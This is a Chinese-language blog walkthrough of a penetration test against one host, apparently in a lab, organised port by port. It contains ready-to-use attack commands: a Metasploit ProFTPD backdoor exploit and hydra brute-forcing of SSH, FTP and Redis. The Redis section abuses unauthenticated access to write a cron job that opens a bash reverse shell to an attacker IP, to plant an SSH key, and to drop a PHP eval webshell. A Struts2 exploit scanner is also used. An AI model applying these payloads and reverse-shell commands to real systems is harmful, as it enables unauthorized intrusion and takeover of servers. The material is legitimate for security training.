声明:文章渗透网站为模拟环境,文章只为利用过程

文章为信息收集和端口渗透两部分,21端口为ftp版本漏洞 8080端口为CMS的渗透

信息收集:

·使用扫描工具nmap ,PortScan 对整个网段进行扫描

信息:通过访问网站得到要测试的IP为192.168.31.69

该IP的中间件为Apache/2.4.7 目标系统为Ubuntu

开放的端口为21(ftp:ProFTPD 1.3.3c). 22(ssh).873 (rsync).3306(Mysql). 6379(Redis) .8080(Struts2)

访问80端口发现phpinfo页面  phpinfo可获得该IP网站的所有配置信息

测试过程

·21端口测试   查看到ftp的版本,搜索得知ftp为ProFTPD 1.3.3c存在后门漏洞

启动MSF的终端

msfconsole

搜索proFTPD的攻击模块,并载入

search proFTPD  //搜索proFTPD的攻击模块

use exploit/unit/ftp/proftpd_133c_backdoor  //载入选择模块

填写模块内容 并执行,之后反弹shell 就ok了

如果不知该填写什么参数可以 show一下

show options  //需要填写的信息

set RHOSTS 192.168.31.69  //目标IP

run  //执行

当然这只是针对ProFTPD 1.3.3c的利用过程,也可以使用暴力破解,但你的密码库要绝对的强大

·22端口测试   使用kali的工具hydra对目标IP的22端口进行暴力破解

爆破命令:

hydra -l(用户名) root -P(爆破字典) /usr/pass.txt(绝对路径,pass.txt为字典文件名,可以将自己的字典加入到该目录下)

-V(显示爆破过程)  -t(指定线程数)  10  ssh://127.0.0.1(如果是默认端口,可以不写,如果不是默认端口,要加端口xx,如ssh://127.0.0.1:xx)

暴力破解获得密码

获得用户及密码后可以使用ssh进行连接22端口

ssh 用户名@IP地址

这里介绍一下hydra的一些参数

参数:

-R 继续从上一次进度接着破解

-S 大写,采用SSL链接

-s 小写,可通过这个参数指定非默认端口

-l 指定破解的用户,对特定用户破解

-L 指定用户名字典

-p 小写,指定密码破解,少用,一般是采用密码字典

-P 大写,指定密码字典

-e 可选选项,n:空密码试探,s:使用指定用户和密码试探

-C 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数

-M 指定目标列表文件一行一条

-o 指定结果输出文件

-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解

-t 同时运行的线程数,默认为16

-w 设置最大超时的时间,单位秒,默认是30s

-v /-V显示详细过程

各协议的具体命令:

格式+示例:

1、破解ssh:

hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip ssh

hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

2、破解ftp:

hydra ip ftp -L 用户名字典 -P 密码字典 -t 线程(默认16) -vV

hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

参数说明:

-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止

·873端口测试  873端口为rsync服务存在未授权访问漏洞

启动MSF的终端

msfconsole

搜索rsync的攻击模块 并载入

search rsync  //搜索rsync的攻击模块

use auxiliary/scanner/rsync/modules_list  //载入要攻击的模块

show options  //需要填写的信息

set rhosts 192.168.31.69 //目标IP

run  //执行

可以通过命令达到未授权访问WWW文件夹

rsync root@192.168.31.69::

rsync root@192.168.31.69:WWW

·3306 端口测试   使用kali的工具进行暴力破解

这里暴力破解使用的还是metasploit frameword

老样子,先启动MSF的终端

msfconsole

因为3306为mysql的服务,所以要搜索关于mysql的模块

search mysql

之后载入选择的模块,我这里选择的是

use auxiliary/scanner/mysql/mysql_login

show option

填写参数,可以爆破出密码为123456

获得用户名及密码后可以通过其他模块进行执行sql语句

成功执行sql语句

·6379 端口测试  6379端口为redis服务,可能存在未授权访问漏洞

要测试redis服务需要在本地安装redis服务

安装:

wget http://download.redis.io/releases/redis-4.0.8.tar.gz     //下载地址

tar xzf redis-4.0.8.tar.gz   //解压下载文件

cd redis-3.2.0   //转到redis-3.2.0目录下

make   //到所在目录中安装

安装成功后需要配置一下文件,可以进行远程访问

vim redis.conf  //打开配置文件

在bind 127.0.0.1前面加上# ,  把protected-mode设为no

使用

先转到redis-3.2.0的src目录下

cd /root/redis-3.2.0/src

接着启动redis服务

./redis-cli -h 192.168.31.69

发现连接成功可以执行info

方法:

1)利用计划任务执行命令反弹shell

条件:在redis以root权限运行时可以写crontab来执行命令反弹shell

先在自己的服务器上监听一个端口:

然后执行命令:

root@kali:~# redis-cli -h 192.168.31.69

192.168.31.69:6379>set x "\n* * * * * bash -i >& /dev/tcp/192.168.31.158/4444 0>&1\n"

ok

192.168.31.69:6379>config set dir /var/spool/cron/

ok

192.168.31.69:6379>config set dbfilename root

ok

192.168.31.69:6379>save

ok

去查看监听的端口,会反弹会shell

2)写ssh-keygen公钥然后使用私钥登陆

条件:Redis服务使用ROOT账号启动

服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

首先需要在本生成密钥:

然后redis执行命令:

192.168.31.69:6379> config set dir /root/.ssh/
OK
192.168.31.69:6379> config set dbfilename authorized_keys
OK
192.168.31.69:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
OK
192.168.31.69:6379> save
OK

然后直接利用公钥登录ssh

ssh -i id_rsa root@192.168.31.69

3)写webshell

条件:开启web服务 且web目录有写入权限 知道绝对路径

192.168.31.69:6379>config set dir /var/www/html/

ok

192.168.31.69:6379>config set dbfilename shell.php

ok

192.168.31.69:6379>set x "<?php @eval($_POST['pass']);?>"

ok

192.168.31.69:6379>save

ok

4)使用hydra暴力破解redis密码

hydra -P passwd.txt redis://192.168.31.69

·8080端口测试  发现网站Struts 发现Struts可以使用Struts Scan工具获得指定漏洞交互式shell

下载Struts Scan:

git clone https://github.com/Lucifer1993/struts-scan   //下载

tar xzf struts-scan     //解压

cd struts-scan-master  //转到struts-scan-master 下

python struts-scan.py  //运行程序

扫描网站

python struts-scan.py http://192.168.31.69:8080/index.action

使用给出的漏洞交互shell     执行payload

端口渗透·网站渗透过程 --21 ,22,873,3306,6379,8080(8080端口是针对CMS的渗透)的更多相关文章

  1. 2016年12月27日 星期二 --出埃及记 Exodus 21:22

    2016年12月27日 星期二 --出埃及记 Exodus 21:22 "If men who are fighting hit a pregnant woman and she gives ...

  2. 在window server 2008 64位系统上 发布网站的过程中遇到的问题(转)

    发布网站的过程如下: 1.安装数据库系统2.建立数据库,执行sql3.安装iis4.在本地机子上发布网站5.把发布好的东西拷贝到IIS上 1.安装数据库系统: 出现错误:必须使用角色管理工具 安装或配 ...

  3. 在window server 2008 64位系统上 发布网站的过程中遇到的问题

    发布网站的过程如下: 1.安装数据库系统2.建立数据库,执行sql3.安装iis4.在本地机子上发布网站5.把发布好的东西拷贝到IIS上 1.安装数据库系统: 出现错误:必须使用角色管理工具 安装或配 ...

  4. 第21/22讲 UI_布局 之 线性布局

    第21/22讲 UI_布局 之 线性布局 布局管理就是组件在activity中呈现方式,包括组件的大小,间距和对齐方式等. Android提供了两种布局的实现方式: 1.在xml配置文件中声明:这种方 ...

  5. 在虚拟机上的关于Apache(阿帕奇)(5)基于端口访问网站

    这篇随笔是基于端口访问网站,和前面两篇文章基于ip和基于域名一起练习效果更好 接下来分别创建三个网站数据目录 输入命令: mkdir  -p  /home/wwwroot/{8001,8002,800 ...

  6. C-LODOP的端口和网站的端口

    c-lodop的端口和网站的端口是不同的,不需要修改自己网站的端口.c-lodop32位标准版端口:8000,18000 (http网站)c-lodop32扩展版端口:8000,18000(http网 ...

  7. python thrift 实现 单端口多服务的过程

    Thrift 是一种接口描述语言和二进制通信协议.以前也没接触过,最近有个项目需要建立自动化测试,这个项目之间的微服务都是通过 Thrift 进行通信的,然后写自动化脚本之前研究了一下. 需要定义一个 ...

  8. LAMP+discuz网站搭建过程

    LAMP+discuz网站的搭建 一. LAMP环境搭建 0x01下载配置虚拟机 网上下载centOS7 64的镜像,然后在vmware里面配置好,我配置的是linux终端桌面,运行快,占内存小. 0 ...

  9. 使用百度云服务器BCC搭建网站,过程记录

    1.买了个最低端的百度云云服务器:1G内存+1核+40系统盘,获得一个静态服务IP地址,之前在阿里那边买个一个域名,在百度云备案一下,通过后就可以正常解析,把域名和IP对应起来了,主要目的是熟悉一下整 ...

随机推荐

  1. 关于Darwin接入私有协议、私有SDK码流的讨论

          最近做到云视频/云监控的项目,跟团队伙伴讨论到一个架构问题,就是将私有协议的码流数据接入到Darwin,再通过Darwin对外提供高效的RTSP/RTP服务.说到私有协议接入Darwin, ...

  2. 页面滚动tab监听

    页面 需求,顶部固定,左侧固定,右侧内容滚动 所以给右侧内容高度,内容里面滚动(使用固定定位的话,右侧内容总会给head部分遮挡,比较坑) 1.左侧是侧边栏,点击li,右侧内容显示当前 右侧内容滚动, ...

  3. C++设计模式实现--策略(Strategy)模式

    版权声明:本文为博主原创文章,未经博主同意不得转载. https://blog.csdn.net/L_Andy/article/details/30489331 一. 举例说明 曾经做了一个程序,程序 ...

  4. SpringBoot-(9)-MyBatis 操作数据库

    这里仅仅以插入数据为例: 一, 创建基于MyBatis的项目 具体流程参考之前帖 二,创建Mapper接口 public interface AccountMapper { @Insert(" ...

  5. ZOJ - 3935 2016 【数的筛选】

    题目链接 http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemCode=3935 题意 要求找出 从 2016-990528 中 是闰年 并 ...

  6. input表单元素的默认padding不一致问题

    最近做的项目,发现一堆问题,input type=“text”和type=“button” (1)在无文字的时候高度是一致的,分别写入相同大小的文字type=“button”高度>type=“t ...

  7. jmeter使用笔记——流程及常用组件配置

    添加线程组 线程数 :对应用户数, Ramp-Up: 多少秒启动这些线程,1秒代表1秒内启动设置的线程数,10秒代表10秒内启动线程数 循环次数: 每个线程执行线程组内的请求循环次数 调度器:可以对线 ...

  8. Java线程面试题 Top 50(转载)

    原文链接:http://www.importnew.com/12773.html 本文由 ImportNew - 李 广 翻译自 javarevisited 不管你是新程序员还是老手,你一定在面试中遇 ...

  9. 【MongoDB学习-在.NET中的简单操作类】

    1.新建MVC项目, 管理NuGet包,进入下载MongDB.net库文件 2.新增项目DAL数据访问层,引用以下库文件: 3.C# 访问MongoDB通用方法类: using MongoDB.Dri ...

  10. 深度学习网络结构中超参数momentum了解

    训练网络时,通常先对网络的初始权值按照某种分布进行初始化,如:高斯分布.初始化权值操作对最终网络的性能影响比较大,合适的网络初始权值能够使得损失函数在训练过程中的收敛速度更快,从而获得更好的优化结果. ...